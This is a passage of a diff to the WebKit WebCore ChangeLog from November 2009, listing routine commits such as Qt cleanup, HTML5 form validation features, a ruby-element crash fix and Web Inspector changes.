+        root layer to calculateRects(), and return the bounding box of the
+        transformed rectangle.
+        (WebCore::RenderLayer::selfClipRect): Ditto.
+        * rendering/RenderLayer.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove support for Qt v4.3 or older versions
+        https://bugs.webkit.org/show_bug.cgi?id=29469
+
+        No new tests as there is no change if compiled with 
+        Qt v4.4 or later version.
+
+        * WebCore.pro:
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::EntityResolver::resolveUndeclaredEntity):
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        (WebCore::XMLTokenizer::~XMLTokenizer):
+        (WebCore::XMLTokenizer::doWrite):
+        (WebCore::XMLTokenizer::startDocument):
+        (WebCore::XMLTokenizer::parseDtd):
+        * platform/graphics/qt/FontQt.cpp:
+        * platform/graphics/qt/FontQt43.cpp: Removed.
+        * platform/graphics/qt/ImageQt.cpp:
+        * platform/network/ResourceHandleInternal.h:
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        * platform/network/qt/QNetworkReplyHandler.h:
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::cancel):
+        (WebCore::ResourceHandle::loadResourceSynchronously):
+        (WebCore::ResourceHandle::setDefersLoading):
+        * platform/network/qt/ResourceRequest.h:
+        * platform/network/qt/ResourceRequestQt.cpp:
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::clearData):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::cookieJar):
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        (WebCore::cookiesEnabled):
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::keyIdentifierForQtKeyCode):
+        (WebCore::windowsKeyCodeForKeyEvent):
+        * platform/text/qt/TextBoundaries.cpp:
+        * platform/text/qt/TextBreakIteratorQt.cpp:
+        * plugins/qt/PluginDataQt.cpp:
+        (WebCore::PluginData::initPlugins):
+
+2009-11-18  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <https://bugs.webkit.org/show_bug.cgi?id=27959>.
+        Support for validationMessage attribute, as per HTML5 specs.
+
+        Test: fast/forms/validationMessage.html
+
+        * html/HTMLButtonElement.idl: validationMessage attribute
+        * html/HTMLFieldSetElement.idl: validationMessage attribute
+        * html/HTMLFormControlElement.cpp:
+        * html/HTMLFormControlElement.h:
+        * html/HTMLInputElement.idl: validationMessage attribute
+        * html/HTMLSelectElement.idl: validationMessage attribute
+        * html/HTMLTextAreaElement.idl: validationMessage attribute
+        * html/ValidityState.cpp: new method to retrieve pertinent localized text
+        * html/ValidityState.h:
+        * page/mac/WebCoreViewFactory.h:
+        * platform/LocalizedStrings.h:
+        * platform/android/LocalizedStringsAndroid.cpp:
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        * platform/haiku/LocalizedStringsHaiku.cpp:
+        * platform/mac/LocalizedStringsMac.mm:
+        * platform/wx/LocalizedStringsWx.cpp:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        Fix a typo. Remove the trailing semicolon
+        from an include directive after r51137.
+
+        No new tests as there is no functional change.
+
+        * platform/qt/QWebPageClient.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r51159.
+
+        Include float.h for DBL_MANT_DIG. Not sure why this
+        is not a problem for other ports.
+
+        * html/HTMLInputElement.cpp:
+
+2009-11-19  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Bug 31574 -  Crashing bug when removing <ruby> element
+        (https://bugs.webkit.org/show_bug.cgi?id=31574)
+
+        Cause of the bug:
+        1.) RenderBlock::destroy() of the RenderRubyRun called destroyLeftoverChildren()
+        2.) that called destroy() of the RenderRubyBase(), which in RenderObject::destroy() calls remove()
+        3.) remove() is being redirected as parent()->removeChild() in RenderObject.h
+        4.) this triggers the special handling of child removal in RenderRubyRun that
+            causes it to destroy itself
+        5.) On returning from all this the renderer crashes when accessing a member
+            or virtual function on this now illegal object.
+
+        I therefore added a flag that tracks if the ruby run is being destroyed.
+        If so, avoid doing the special handling in removeChild that caused this.
+        It's not the most elegant solution, but the easiest to implement without
+        touching unrelated code. Also, it's self-documenting.
+
+        Test: fast/ruby/ruby-remove.html
+
+        * rendering/RenderRubyRun.cpp:
+        (WebCore::RenderRubyRun::RenderRubyRun):
+        (WebCore::RenderRubyRun::destroy):
+        (WebCore::RenderRubyRun::removeChild):
+        * rendering/RenderRubyRun.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove WTF_USE_JAVASCRIPTCORE_BINDINGS as it is no longer used
+        https://bugs.webkit.org/show_bug.cgi?id=31643
+
+        No new tests as there is no functional change.
+
+        * WebCore.pro:
+
+2009-11-18  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Implement TextBoundaries for WINCE port.
+        https://bugs.webkit.org/show_bug.cgi?id=27371
+
+        * platform/text/wince/TextBoundariesWince.cpp: Added.
+
+2009-11-18  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Implement TextBreakIterator for WINCE port.
+        https://bugs.webkit.org/show_bug.cgi?id=27371
+
+        * platform/text/wince/TextBreakIteratorWince.cpp: Added.
+
+2009-11-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add support for ValidityState.typeMismatch for the following INPUT types:
+          date datetime datetime-local month time week
+        https://bugs.webkit.org/show_bug.cgi?id=31342
+
+        Tests: fast/forms/ValidityState-typeMismatch-date.html
+               fast/forms/ValidityState-typeMismatch-datetime.html
+               fast/forms/ValidityState-typeMismatch-datetimelocal.html
+               fast/forms/ValidityState-typeMismatch-month.html
+               fast/forms/ValidityState-typeMismatch-time.html
+               fast/forms/ValidityState-typeMismatch-week.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::formStringToISODateTime): Check the type
+          validity of the specified type and string using the ISODateTime class.
+        * html/HTMLInputElement.h:
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch): Check the type validity
+          for date, datetime, datetime-local, month, time and week with
+          HTMLInputElemtn::formStringToISODateTime()
+
+2009-11-18  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix REGRESSION (r47022): Performance of DocumentFragment.appendChild is 1000x slower sometimes
+        https://bugs.webkit.org/show_bug.cgi?id=31237
+        
+        Also speeds up Dromaeo DOM Core tests by 1.31x.
+
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren): Change marking algorithm to avoid O(N^2) behavior. The subtree
+        mark bit was no longer effective; instead I changed things so only a node that has no ancestors
+        with wrappers would do marking; there should be only one in the typical case (the root of the
+        detached subtree).
+        * dom/Node.cpp:
+        (WebCore::Node::Node): Remove now useless m_inSubtreeMark bit and related functions.
+        * dom/Node.h: ditto
+
+2009-11-18  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Get rid of the redundant strokeType and fillType data members on
+        a GraphicsContext as well as the FillOrStrokeType enum. Use
+        null pointers instead.
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::setStrokeColor): Null out the pattern
+        and gradient.
+        (WebCore::GraphicsContext::setFillColor): Ditto.
+        (WebCore::GraphicsContext::setStrokePattern): Null out the graident.
+        (WebCore::GraphicsContext::setFillPattern): Ditto.
+        (WebCore::GraphicsContext::setStrokeGradient): Null out the pattern.
+        (WebCore::GraphicsContext::setFillGradient): Ditto.
+
+        * platform/graphics/GraphicsContextPrivate.h: Remove all that stuff.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::setPlatformFill): Use null checks on fillPattern and
+        fillGraident instead of a switch statement.
+        (WebCore::setPlatformStroke): Ditto.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::applyStrokePattern): Removed unneeded get.
+        (WebCore::GraphicsContext::applyFillPattern): Ditto.
+        (WebCore::calculateDrawingMode): Use fillPattern and strokePattern
+        to see if there is a pattern instead of fillType and strokeType.
+        (WebCore::GraphicsContext::drawPath): Use fillGradient, strokeGradient,
+        fillPattern, and strokePattern instead of fillType and strokeType.
+        (WebCore::GraphicsContext::fillPath): Added FIXME about color space that
+        is used in the pattern and gradient case probably erroneously. Moved
+        gradient code inside an if statement. Streamlined pattern code and
+        use an if statement. No switch any more.
+        (WebCore::GraphicsContext::strokePath): Ditto.
+        (WebCore::GraphicsContext::fillRect): Ditto.
+        (WebCore::GraphicsContext::strokeRect): Ditto.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::fillPath): Use null checks on fillPattern and
+        fillGraident instead of a switch statement.
+        (WebCore::GraphicsContext::strokePath): Ditto.
+        (WebCore::GraphicsContext::fillRect): Ditto.
+
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::fillPath): Removed unneeded check of fillType.
+        (WebCore::GraphicsContext::fillRect): Ditto.
+
+2009-11-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Support for step attribute and ValidityStae.stepMismatch for
+        type=number and range.  stepMismatch will be false if the
+        difference between the current value and a multiple of the step
+        value is very small.
+
+        Change the behavior of RenderSlider so that it always has a value
+        rounded to the step attribute value.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31331
+
+        Tests: fast/forms/ValidityState-stepMismatch-number.html
+               fast/forms/ValidityState-stepMismatch-range.html
+               fast/forms/ValidityState-stepMismatch-unsupported.html
+               fast/forms/input-step.html
+
+        * html/HTMLAttributeNames.in: Add "step".
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::stepMismatch):
+        (WebCore::HTMLInputElement::getStepParameters):
+        (WebCore::HTMLInputElement::getAllowedValueStep):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl: Add "step".
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::stepMismatch): Forward to HTMLInputElement::stepMismatch().
+        * html/ValidityState.h:
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::SliderRange):
+        (WebCore::SliderRange::clampValue):
+
+2009-11-18  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Need to ASSERT(isMainThread()) in ThreadShared methods.
+        https://bugs.webkit.org/show_bug.cgi?id=31637
+
+        Added ASSERT(IsMainThread()) to all following methods:
+        * platform/TreeShared.h:
+        (WebCore::TreeShared::TreeShared):
+        (WebCore::TreeShared::~TreeShared):
+        (WebCore::TreeShared::ref):
+        (WebCore::TreeShared::deref):
+        (WebCore::TreeShared::setParent):
+        (WebCore::TreeShared::parent):
+
+2009-11-18  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Eric Seidel.
+
+        Add plugin visibility manual test
+
+        https://bugs.webkit.org/show_bug.cgi?id=31542
+
+        * manual-tests/plugins/windowed.html:
+        * manual-tests/plugins/windowless.html:
+
+2009-11-18  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector - remember last script displayed in Scripts panel
+        https://bugs.webkit.org/show_bug.cgi?id=27552
+
+        Manual test added
+        
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.showScript):
+        (WebInspector.ScriptsPanel.prototype.showResource):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        (WebInspector.ScriptsPanel.prototype._addScriptToFilesMenu):
+        (WebInspector.ScriptsPanel.prototype._callFrameSelected):
+        (WebInspector.ScriptsPanel.prototype._goBack):
+        (WebInspector.ScriptsPanel.prototype._goForward):
+        * manual-tests/inspector/remember-last-script.html: Added.
+
+2009-11-18  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Win chromium is slow to draw transparent texts
+        https://bugs.webkit.org/show_bug.cgi?id=31258
+
+        Create bounded transparency layers instead of just clipping.
+
+        No new tests because this is just a performance improvement.
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::initializeForGDI):
+
+2009-11-18  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Add support for displaying deleteButton.
+        https://bugs.webkit.org/show_bug.cgi?id=31560
+
+        Test: LayoutTests/editing/deleting/5408255.html
+
+        * WebCore.qrc:
+        * platform/graphics/qt/ImageQt.cpp:
+        (loadResourcePixmap):
+
+2009-11-18  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix Qt build without JavaScript debugger.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31575
+
+        * page/Console.idl:
+
+2009-11-18  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=24971
+        And
+        <rdar://problem/7138265>
+
+        Fixes an issue where setting the height of a table row programmatically
+        (via JavaScript) causes the table to be improperly rendered because the
+        height of each row in the table is not recalculated with respect to the
+        CSS height property.
+
+        In particular, programmatically setting the height of some table row causes
+        the rows of that table to be rendered with a height equal to the minimum
+        height required by the cells in that row, regardless of any specified cell
+        heights. Instead, when RenderTableSection::recalcCells is called, the height
+        of each row should be set to the CSS height property just as we do in
+        RenderTableSection::addChild.
+
+        Test: fast/table/row-height-recalc2.html
+
+        * rendering/RenderTableSection.cpp:
+        (WebCore::setRowHeightToRowStyleHeightIfNotRelative): Added.
+        (WebCore::RenderTableSection::addChild): Moved code that set row height into
+        method WebCore::setRowHeightToRowStyleHeightIfNotRelative.
+        (WebCore::RenderTableSection::recalcCells): Modified to call
+        WebCore::setRowHeightToRowStyleHeightIfNotRelative.
+
+2009-11-18  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for the part of platform directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31473
+
+        Inherits the following classes from FastAllocBase because these are
+        instantiated by 'new':
+
+        class  AnimationList         - instantiated at WebCore/rendering/style/StyleRareNonInheritedData.cpp:85
+        class  Color                 - instantiated at WebCore/rendering/RenderTheme.cpp:48
+        struct Length                - instantiated at WebCore/platform/Length.cpp:103
+        class  PlatformKeyboardEvent - instantiated at WebCore/dom/KeyboardEvent.cpp:63
+        class  ContextMenuItem       - instantiated at WebCore/platform/ContextMenu.cpp:70
+        class  DeprecatedPtrList     - instantiated at WebCore/rendering/RenderBlock.cpp:2284
+
+        Inherits the following classes from Noncopyable because these are
+        instantiated by 'new' and no need to be copyable:
+
+        class  GraphicsContextPrivate - instantiated at WebCore/platform/graphics/GraphicsContext.cpp:78
+        class  FontCache              - instantiated at WebCore/platform/graphics/qt/FontCacheQt.cpp:43
+        struct MediaPlayerFactory     - instantiated at WebCore/platform/graphics/MediaPlayer.cpp:163
+        class  DeprecatedPtrListNode  - instantiated at WebCore/platform/DeprecatedPtrListImpl.cpp:53
+
+        * platform/ContextMenuItem.h:
+        * platform/DeprecatedPtrList.h:
+        * platform/DeprecatedPtrListImpl.cpp:
+        * platform/Length.h:
+        * platform/PlatformKeyboardEvent.h:
+        * platform/animation/AnimationList.h:
+        * platform/graphics/Color.h:
+        * platform/graphics/FontCache.h:
+        * platform/graphics/GraphicsContextPrivate.h:
+        * platform/graphics/MediaPlayer.cpp:
+
+2009-11-18  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31186
+
+        Renames RenderTextControl::m_edited and RenderTextControl::m_userEdited to
+        m_wasChangedSinceLastChangeEvent and m_lastChangeWasUserEdit, respectively.
+        These are more descriptive names so as to clear an ambiguity surrounding
+        their usage. Also, renames associated setters and getters so that they
+        coincide with the renamed fields.
+
+        No functionality was changed. So, no tests were included.
+
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLInputElement _isEdited]):
+        (-[DOMHTMLTextAreaElement _isEdited]):
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::RenderTextControl):
+        (WebCore::RenderTextControl::setInnerTextValue):
+        (WebCore::RenderTextControl::setLastChangeWasUserEdit): Formerly named setUserEdited.
+        (WebCore::RenderTextControl::subtreeHasChanged):
+        * rendering/RenderTextControl.h:
+        (WebCore::RenderTextControl::wasChangedSinceLastChangeEvent): Formerly named isEdited.
+        (WebCore::RenderTextControl::setChangedSinceLastChangeEvent): Formerly named setEdited.
+        (WebCore::RenderTextControl::lastChangeWasUserEdit): Formerly named setUserEdited.
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::subtreeHasChanged):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+
+2009-11-18  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Remove V8CanvasPixelArrayCustom.cpp because it is no longer used by V8.
+        https://bugs.webkit.org/show_bug.cgi?id=31499
+
+        No new tests, just a build cleanup.
+
+        * WebCore.gypi:
+        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp: Removed.
+        * bindings/v8/custom/V8CustomBinding.h:
+
+2009-11-18  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        Enable wx plugin support using the Windows implementation as a base.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31636
+
+        * platform/graphics/GraphicsContext.h:
+        (WebCore::GraphicsContext::inTransparencyLayer):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::getWindowsContext):
+        (WebCore::GraphicsContext::releaseWindowsContext):
+        * platform/wx/FileSystemWx.cpp:
+        (WebCore::unloadModule):
+        (WebCore::listDirectory):
+        * plugins/PluginDatabase.cpp:
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::stop):
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/win/PluginViewWin.cpp:
+        (windowHandleForPageClient):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::snapshot):
+        * wscript:
+
+2009-11-18  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Android] Add shared timer and sound utilities to platform/android
+        https://bugs.webkit.org/show_bug.cgi?id=31584
+
+        No new tests required, this is platform specific code.
+
+        * platform/android/SharedTimerAndroid.cpp: Added.
+        (WebCore::setSharedTimerFiredFunction):
+        (WebCore::setSharedTimerFireTime):
+        (WebCore::stopSharedTimer):
+        * platform/android/SoundAndroid.cpp: Added.
+        (WebCore::systemBeep):
+
+2009-11-18  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix profile tree nodes loss after focus / restore actions.
+
+        Focusing on a node is currently implemented via nodes reattaching
+        with some caching involved. It seems that not all code was updated
+        to handle this scenario correctly.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31553
+
+        * inspector/front-end/BottomUpProfileDataGridTree.js:
+        (WebInspector.BottomUpProfileDataGridNode):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._restore):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._sharedPopulate):
+        (WebInspector.BottomUpProfileDataGridNode.prototype._willHaveChildren):
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid.prototype.insertChild):
+        (WebInspector.DataGridNode.prototype._detach):
+        (WebInspector.DataGridNode.prototype.savePosition):
+        (WebInspector.DataGridNode.prototype.restorePosition):
+        * inspector/front-end/TopDownProfileDataGridTree.js:
+        (WebInspector.TopDownProfileDataGridTree.prototype.focus):
+        (WebInspector.TopDownProfileDataGridTree.prototype.restore):
+
+2009-11-18  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] QWebPageClient.h needs in some cases QCursor, but it does not
+        include it 
+        https://bugs.webkit.org/show_bug.cgi?id=31527
+
+        No new tests as this is just a coding style fix that affects the 
+        build of some not yet submitted patches (i.e. for bug 30173).
+
+        * platform/qt/QWebPageClient.h:
+
+2009-11-18  Nicolas Roard   <nicolas@roard.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        InspectorTimelineAgent.h should be guarded by ENABLE(INSPECTOR)
+        https://bugs.webkit.org/show_bug.cgi?id=31504
+
+        * inspector/InspectorTimelineAgent.h:Added the guard.
+
+2009-11-18  Jens Alfke  <snej@chromium.org>
+
+        Build fix to my previous checkin, for Windows Chromium
+
+        * svg/SVGAnimatedProperty.h:
+        (WebCore::PropertySynchronizer::synchronize): Fix implicit-conversion error on AtomicString.
+
+2009-11-18  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Directly Access <head> Instead of Searching for It
+        https://bugs.webkit.org/show_bug.cgi?id=31641
+        
+        Changed old access of the head element (document.getElementsByTagName)
+        to just use the document.head accessor.
+
+        * inspector/front-end/FontView.js:
+        (WebInspector.FontView):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.addStyleSelector):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/inspector.js:
+        (windowLoaded):
+
+2009-11-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Fix two Geolocation assertions.
+
+        * page/Chrome.cpp:
+        (WebCore::Chrome::requestGeolocationPermissionForFrame): No need to use PageGroupLoadDeferrer since this
+        is not called from JS. 
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::Watchers::set): The PassRefPtr was getting nulled out, so we need to put it in
+        a RefPtr first.
+
+2009-11-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Case sensitive file system build fix.
+
+        * platform/network/Credential.h: It's not WTF, just wtf.
+
+2009-11-18  Aaron Golden  <agolden@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add support for certificates to WebCore::Credential so we can convert between NSURLCredential
+        objects and WebCore::Credential objects without losing certificate information.
+
+        * platform/network/Credential.cpp:
+        (WebCore::Credential::Credential):  Adding a constructor that takes an identity argument and a certificate chain argument
+        (WebCore::Credential::isEmpty):  Modifying isEmpty to support certificate based credentials (which don't have a username or password)
+        (WebCore::Credential::identity): Accessor for the m_identity property
+        (WebCore::Credential::certificates): Accessor for the m_certificates property
+        (WebCore::Credential::type):  Accessor for the m_type property
+        (WebCore::operator==):  Modifying == to compare the identity and certificate chains of certificate based credentials.
+        * platform/network/Credential.h:  Adding new fields to WebCore::Credential to support certificate based credentials.
+        * platform/network/mac/AuthenticationMac.mm:
+        (WebCore::mac):  Modifying the mac() conversion method to correctly convert certificate based WebCore::Credential objects.
+        (WebCore::core):  Modifying the core() conversion method to correctly convert certificate based NSURLCredential objects.
+
+2009-11-18  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Reverting r50919 that has introduced a non-thread-safe refcounting in ScriptExecutionContext::postTaskToMainThread.
+        https://bugs.webkit.org/show_bug.cgi?id=31615
+
+        * dom/Document.cpp:
+        (WebCore::ScriptExecutionContextTaskTimer::ScriptExecutionContextTaskTimer):
+        (WebCore::ScriptExecutionContextTaskTimer::fired):
+        (WebCore::PerformTaskContext::PerformTaskContext):
+        (WebCore::performTask):
+        (WebCore::Document::postTask):
+        * dom/ScriptExecutionContext.cpp:
+        * dom/ScriptExecutionContext.h:
+
+2009-11-18  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Eliminate unnecessary String-->AtomicString conversions from generated V8 bindings,
+        by causing the right v8-to-WebCore conversion function to be called for every parameter.
+        This no longer requires any IDL metadata, so I've removed the [HintAtomic] annotations.
+        To enforce correctness, I added a mode that disables implicit
+        String-->AtomicString conversions while compiling the generated bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=31168
+
+        * bindings/scripts/CodeGeneratorV8.pm:  Generate usage of V8Parameter class.
+        * bindings/v8/DerivedSourcesAllInOne.cpp:  Enable NO_IMPLICIT_ATOMICSTRING.
+        * bindings/v8/V8Binding.h:  Add V8Parameter class.
+        * css/WebKitCSSKeyframesRule.h:  Make AtomicString conversions explicit.
+        * dom/Document.idl:  Remove obsolete [HintAtomic] annotation.
+        * platform/text/AtomicString.h:  Added NO_IMPLICIT_ATOMICSTRING option.
+        * svg/SVGAnimatedTemplate.h:  Change some return types to String to avoid implicit conversion.
+        * svg/SVGAnimatedProperty.h: Adapt to changed return types in SVGAnimatedTemplate.
+
+2009-11-18  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Move FillOrStrokeType out of public header.
+
+        * platform/graphics/GraphicsContext.h: Updated copyright date to cover
+        some years we published Apple changes, sorted forward declarations,
+        removed FillOrStrokeType enum.
+        * platform/graphics/GraphicsContextPrivate.h: Updated copyright date
+        to cover some years we published Apple changes, sorted includes,
+        moved FillOrStrokeType enum here.
+
+2009-11-18  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Add Settings for WebKitShowDebugBorders and WebKitShowRepaintCounter
+        https://bugs.webkit.org/show_bug.cgi?id=31601
+
+        These are used to debug accelerated compositing layers. I removed
+        the platform specific code from GraphicsLayerCA.mm and added calls
+        to GraphicsLayerClient to get it from the higher levels. The values 
+        now get cached in RenderLayerCompositing and are queried from there
+        by RenderLayerBacking (which implements the GraphicsLayerClient interface).
+
+        * WebCore.base.exp:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::updateCompositingLayers):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setShowDebugBorders):
+        (WebCore::Settings::setShowRepaintCounter):
+        * page/Settings.h:
+        (WebCore::Settings::showDebugBorders):
+        (WebCore::Settings::showRepaintCounter):
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::showDebugBorders):
+        (WebCore::GraphicsLayer::showRepaintCounter):
+        * platform/graphics/GraphicsLayerClient.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::showDebugBorders):
+        (WebCore::RenderLayerBacking::showRepaintCounter):
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::RenderLayerCompositor):
+        (WebCore::RenderLayerCompositor::cacheAcceleratedCompositingFlags):
+        * rendering/RenderLayerCompositor.h:
+        (WebCore::RenderLayerCompositor::showDebugBorders):
+        (WebCore::RenderLayerCompositor::showRepaintCounter):
+
+2009-11-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Get rid of metrics and properties sidebars'
+        flickering.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31629
+
+        * inspector/front-end/MetricsSidebarPane.js:
+        * inspector/front-end/PropertiesSidebarPane.js:
+
+2009-11-17  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fixes <http://webkit.org/b/31606>.
+        Web Inspector: Enter/Return key should enter edit mode for Editable Fields.
+        
+        This implements Enter starting editing mode in an editable DataGrid. If the
+        DataGrid is editable and the user hits return, startEditing the first child
+        of the selected node. Also refactored some editing functions to take an 
+        event target instead of the event itself, because the functions only needed
+        the target. Lastly, added had return in editing mode stop propogation, because
+        when enter was hit to confirm text, it would propagate back to the datagrid
+        and try to start editing again.
+
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid.prototype._ondblclick):
+        (WebInspector.DataGrid.prototype._startEditing):
+        (WebInspector.DataGrid.prototype.handleKeyEvent):
+        (WebInspector.DataGrid.prototype.dataGridNodeFromEvent):
+        (WebInspector.DataGrid.prototype._mouseDownInDataTable):
+        (WebInspector.DataGrid.prototype._clickInDataTable):
+        * inspector/front-end/inspector.js:
+        (WebInspector.startEditing.element.handleKeyEvent):
+        (WebInspector.startEditing):
+
+2009-11-18  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Adler.
+
+        HTMLAnchorElement is inconsistent with its internal handling of the value returned for the href attribute.
+        https://bugs.webkit.org/show_bug.cgi?id=31593
+
+        Test: fast/dom/HTMLAnchorElement/set-href-attribute-whitespace.html
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::href): Add call to deprecatedParseURL.
+
+2009-11-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed. Touch InspectorController so that frontend
+        JS files are deployed on Windows.
+
+        * inspector/InspectorController.cpp:
+
+2009-11-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: clone timeline records array instead of
+        copying reference on invalidate all.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31596
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.invalidateAllItems):
+
+2009-11-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Elements don't drop out of compositing layers when animation ends
+        https://bugs.webkit.org/show_bug.cgi?id=31613
